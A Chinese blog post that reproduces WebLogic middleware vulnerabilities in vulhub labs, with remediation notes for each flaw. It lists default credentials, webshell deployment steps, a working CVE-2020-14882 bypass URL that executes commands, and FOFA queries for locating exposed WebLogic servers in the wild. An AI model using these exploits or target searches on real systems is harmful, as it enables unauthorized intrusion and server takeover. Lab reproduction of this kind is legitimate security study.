当前位置: 首页 > news >正文

常见中间件漏洞复现之【WebLogic】!

Weblogic介绍

                 WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间件,默认端⼝:7001 WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态功能和Java Enterprise标准的安全性引⼊⼤型⽹络应⽤的开发、集成、部署和管理之中。
----------------------

后台弱口令GetShell

   漏洞描述

         通过弱口令进⼊后台界⾯ , 上传部署war包 , getshell
--------------------

影响范围

       全版本(前提后台存在弱口令)
--------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d
--------------------

漏洞复现

默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意, 单个账号错误密码5次之后就会⾃动锁定。
--------------------
搭建环境进入,在url后加/console可以进入登录页面

输入默认密码并登录

登录后台后,点击部署,点击安装,点击上传文件。 

上传war包,jsp木马压缩成zip,修改后缀为war,上传  

访问并连接部署好的war  

------------------------------------

CVE-2017-3506

           XMLDecoder反序列化漏洞

漏洞描述

             Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。
-------------------------

影响版本

           受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
------------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d
------------------------

漏洞复现

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

在当前页面抓包之后,添加下面请求包,反弹shell。

访问得到输入的东西

软件注入 :Java反序列化漏洞利用工具

         打开Java反序列化漏洞利用工具软件,将要测试的网址复制进去,点击检查

存在漏洞点击命令执行 输入whoami点击执行

点击文件上传--将自己的jsp木马输入进去 点击上传 

下方会出现木马注入的地址 访问此地址,访问成功证明注入成功

打开哥斯拉进行连接测试,测试成功! 

----------------------

漏洞修复

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进⾏访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_interna l/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/w ls
wsat.warMiddleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wlsw sat/ 是否为404页面。
----------------------------------------

CVE-2019-2725    

漏洞描述

          wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输⼊信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执⾏命令。
-----------------------

影响版本

weblogic 10.x weblogic 12.1.3
-----------------------

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

-----------------------

漏洞复现

      搭建环境,启动在url后加/_async/AsyncResponseService,显示以下页面,则说明存在漏洞

进行抓包,修改请求包 , 写⼊shell 

访问植入的木马文件

使用哥斯拉连接成功 

漏洞修复 

1. 禁⽤bea_wls9_async_response组件;
2. 删除wls9_async_response的war包并重启 ;
3. 禁⽌访问 /_async/* 路径。

 

------------------------------------

CVE-2018-2628

        WebLogic T3协议反序列化命令执⾏漏洞(CVE-2018- 2628)

  漏洞描述

Weblogic Server中的RMI 通信使⽤T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进⾏反序列化, 实现对存在漏洞的weblogic组件 的远程代码执行攻击。
----------------------------

漏洞影响

Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogic
Server12.2.1.2.0 Oracle WebLogic Server12.2.1.3.0
----------------------------

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
----------------------------

漏洞复现

      搭建环境并打开

直接使用利用工具(Liqun工具箱)  

点击文件上传上传jsp木马 

访问木马路径,访问成功证明植入成功 

使用哥斯拉测试连接,连接成功 

-------------------------

漏洞修复

1. 及时更新补丁 ;
2. 禁⽤T3协议 ;
3. 禁⽌T3端⼝对外开放,或者限制可访问T3端⼝的IP来源。
4. 升级版本

--------------------------------------

CVE-2018-2894

          WebLogic文件任意上传漏洞

漏洞描述

            Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞,Web Service Test Page 在 "⽣产模式" 下默认不开启,所以该漏洞有⼀定限制。
------------------

漏洞版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
------------------

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
这里环境后台密码是随机得,获取密码: docker-compose logs | grep password
------------------

漏洞复现

设置Web服务测试开启
http://1.15.136.212:7001

登录获取的账号密码

 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

        

            将此代码 替换掉工作目录/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.w ebservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全---添加 

添加完成后f12查找元素找到对应时间戳 

Webshell链接
http://192.168.1.159:7001/ws_utc/css/config/keystore/1688302924206_peak.jsp
时间戳_文件名.jsp ------- 使用哥斯拉连接

 

 -------------------------------------

 CVE-2020-14882

                WebLogic远程代码执行漏洞

漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。
使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任意命令并完全控制主机
-----------------------------

影响版本

Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0
---------------------------

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
---------------------------

漏洞复现

1.访问管理控制台
http://1.15.136.212:7001/console/login/LoginForm.jsp
2.使用以下url绕过登录认证
http://1.15.136.212:7001/console/css/%252e%252e%252fconsole.portal

 

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://1.15.136.212:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti
me.getRuntime().exec('touch%20/tmp/success');")
我们进入到docker中可以看到命令已经成功运行了

 这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class

-------------------

在攻击机中执行命令(脚本利用)

--------------------

漏洞修复

          该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。
--------------------

实战挖掘

如何判断Weblogic
1. 7001
2.浏览器插件
3.报错页面 Error 404--Not Found
4.默认管理页面路由
/console/login/LoginForm.jsp
---------------------
FOFA
"weblogic"
app=
"Oracle-WebLogic-Server-管理控制台"
app=
"BEA-WebLogic-Server" || app=
"Weblogic_interface_7001"
推荐 :
"WebLogic" && port="7001" && country="CN" && title=="Error 404--Not Found"

相关文章:

常见中间件漏洞复现之【WebLogic】!

Weblogic介绍 WebLogic是美国Oracle公司出品的⼀个application server,确切的说是⼀个基于JAVAEE架构的中间件,默认端⼝:7001 WebLogic是⽤于开发、集成、部署和管理⼤型分布式Web应⽤、⽹络应⽤和数据库应⽤的Java应⽤服务器。将Java的动态…...

Linux服务器中限制远程IP登录的深入指南

在当今的数字化时代,Linux服务器的安全性是企业和个人用户不可忽视的重要方面。远程登录,尤其是通过SSH(Secure Shell)协议,是服务器管理中最常见的操作之一。然而,不限制远程登录的IP地址可能会暴露服务器…...

卫星通信中的拥塞控制算法

结论:现有的Cubic和BBR2算法可直接用于卫星通信网络的拥塞控制中,专为卫星设置的拥塞控制算法目前没有集成到系统中,但各自的性能表现需要根据实测情况进行取舍。 TCP Hybla...

全网​​​​​​​​超详细haproxy七层代理

一:负载均衡 1、概念 负载均衡: Load Balance ,简称 LB ,是一种服务或基于硬件设备等实现的高可用反向代理技术, 负载均 衡将特定的业务(web 服务、网络流量等 ) 分担给指定的一个或多个后端特定的服务器或设 备&…...

Docker日志文件全局配置

这段配置是Docker容器的日志驱动配置,具体来说是json-file日志驱动的配置。这个配置的作用是定义容器日志文件的大小和数量限制。 {"log-driver": "json-file","log-opts": {"max-size": "500m","max-file…...

bia文件中码偏差对实时PPP解算分析

1. 码偏差对定位影响 码偏差对未知收敛时间有影响,对最终精度影响不大(权比1000:1)...

探索list与iterator的区别及yield的用法

1 问题 探索list与iterator的区别探索yield的用法 2 方法 通过网上学习后了解到 List返回的类型是list,list只会查询一级缓存。list()中返回的List中每个对象都是原本的对象。查询的时候没遍历一个对象会产生一条sql;而iterator这个迭代器返回的类型是it…...

github技巧和bug解决方法短篇收集

有一些几句话就可以说明白的观点或者解决的的问题,小虎单独收集到这里。 Commits没有算入每天的activity fork的仓库是不算的。 Commits made in a fork will not count toward your contributions. 参考: Contribution activity not shown for github…...

学习笔记五:在k8s中安装EFK组件(elasticsearch+fluentd+kibana)

在k8s 1.3安装EFK组件 前置条件上传压缩包安装nfs供应商创建nfs作为存储的供应商通过deployment创建pod用来运行nfs-provisioner 安装elasticsearch组件安装kibana组件安装fluentd组件 前置条件 查看k8s版本 kubectl get node -owide相关安装包 链接:https://pan.ba…...

Golang编译-如何忽略某些文件去编译

在 Go 语言中,编译好的二进制文件不会被再次加入到编译过程中。Go 编译器只会编译源代码文件(如 .go 文件),而不会将已经编译好的二进制文件(如可执行文件或静态库)作为输入来进行编译。 详细解释&#xf…...

有哪些适合中型企业的人力资源管理系统推荐?

本文主要介绍了以下几款人力资源管理系统:Moka、OrangeHRM、Verint、希沃人事、UKG Pro、大易Dayee、DingTalk、致远OA、卓望ShineHR、GoCo。 在选择人力资源管理系统时,中型企业面临着诸多挑战:如何确保系统既能满足现有需求,又能…...

活动回顾|首次 Cloudberry Database Meetup · 北京站成功举办

8 月 3 日,由酷克数据 HashData 主办的 Cloudberry Database Meetup 北京站活动圆满结束。本次 Meetup 以“以开源应对 Greenplum 闭源,原厂开发者再聚首”为主题,深入探讨了 Greenplum 闭源所带来的影响,并聚焦于 Cloudberry Dat…...

C语言 软件设计的七大原则,及其应用案例

1. 单一职责原则 (Single Responsibility Principle, SRP) 定义: 一个模块或函数应当只有一个引起变化的原因。 应用案例: 在嵌入式系统中,可以将传感器数据的读取和处理分开成不同的函数。例如: // 读取传感器数据的函数 floa…...

初学嵌入式-C语言常犯错误详解

1、对于下面这道题,估计有很多人会选择B答案,但其实答案是D 2.int a10, b9,c9,d; d b || (a>c),请问上述代码执行完毕后a b c d的值分别是 。 A、10 9 10 9 B、10 10 10 1 C、10 9 10 1 D、10 10 9 1 答案解释: 在C语言…...

Golang 语法入门

Golang 语法入门 Hello World package mainimport "fmt"func main() {fmt.Println("hello world") }变量 package mainimport "fmt"// 全局变量 var ans 123 var cnt intfunc main() {// 单个局部变量a : 114514// 多个局部变量b, c : 114, …...

Filebeat+Kafka+ELK

架构: 部署: #配置nginx,部署filebeat systemctl stop firewalld setenforce 0 systemctl restart nginx#解压filebeat tar -xf filebeat-6.7.2-linux-x86_64.tar.gz mv filebeat-6.7.2-linux-x86_64 filebeat#日志收集 cd firebeat vim fil…...

Python 为Excel单元格设置填充\背景色 (纯色、渐变、图案)

在使用Excel进行数据处理和分析时,对特定单元格进行背景颜色填充不仅能够提升工作表的视觉吸引力,还能帮助用户快速识别和区分不同类别的数据,增强数据的可读性和理解性。 本文将通过以下三个示例详细介绍如何使用Python在Excel中设置不同的单…...

家里浮毛粉尘到处飞?宠物空气净化器出动帮你解决

由于家里收养的十几只流浪猫咪夏季掉毛非常严重,整个房子弥漫着猫毛,而且这十几只里面有七八只还是长毛的品种,掉落的毛发都因为太长而直接掉落成毛团,而短毛的那几只也在掉毛,这十几只掉下的浮毛,家里已经…...

计算机网络ISO七层网络模型及TCP

思维导图(通俗理解) 首先,先用最通俗的话来描述ISO七层模型,思维导图结构如下: ISO七层网络模型概念 应用层(Application Layer):应用层是OSI模型的最高层,直接与用户交…...

机器学习知识点全面总结

一、机器学习基础概念 1、什么是机器学习 机器学习是一种人工智能技术,通过对数据的学习和分析,让计算机系统自动提高其性能。简而言之,机器学习是一种从数据中学习规律和模式的方法,通过数据来预测、分类或者决策。 机器学习的本…...

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...

YSYX学习记录(八)

C语言&#xff0c;练习0&#xff1a; 先创建一个文件夹&#xff0c;我用的是物理机&#xff1a; 安装build-essential 练习1&#xff1a; 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件&#xff0c;随机修改或删除一部分&#xff0c;之后…...

HTML 列表、表格、表单

1 列表标签 作用&#xff1a;布局内容排列整齐的区域 列表分类&#xff1a;无序列表、有序列表、定义列表。 例如&#xff1a; 1.1 无序列表 标签&#xff1a;ul 嵌套 li&#xff0c;ul是无序列表&#xff0c;li是列表条目。 注意事项&#xff1a; ul 标签里面只能包裹 li…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

数据链路层的主要功能是什么

数据链路层&#xff08;OSI模型第2层&#xff09;的核心功能是在相邻网络节点&#xff08;如交换机、主机&#xff09;间提供可靠的数据帧传输服务&#xff0c;主要职责包括&#xff1a; &#x1f511; 核心功能详解&#xff1a; 帧封装与解封装 封装&#xff1a; 将网络层下发…...

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

安卓基础(aar)

重新设置java21的环境&#xff0c;临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的&#xff1a; MyApp/ ├── app/ …...

用机器学习破解新能源领域的“弃风”难题

音乐发烧友深有体会&#xff0c;玩音乐的本质就是玩电网。火电声音偏暖&#xff0c;水电偏冷&#xff0c;风电偏空旷。至于太阳能发的电&#xff0c;则略显朦胧和单薄。 不知你是否有感觉&#xff0c;近两年家里的音响声音越来越冷&#xff0c;听起来越来越单薄&#xff1f; —…...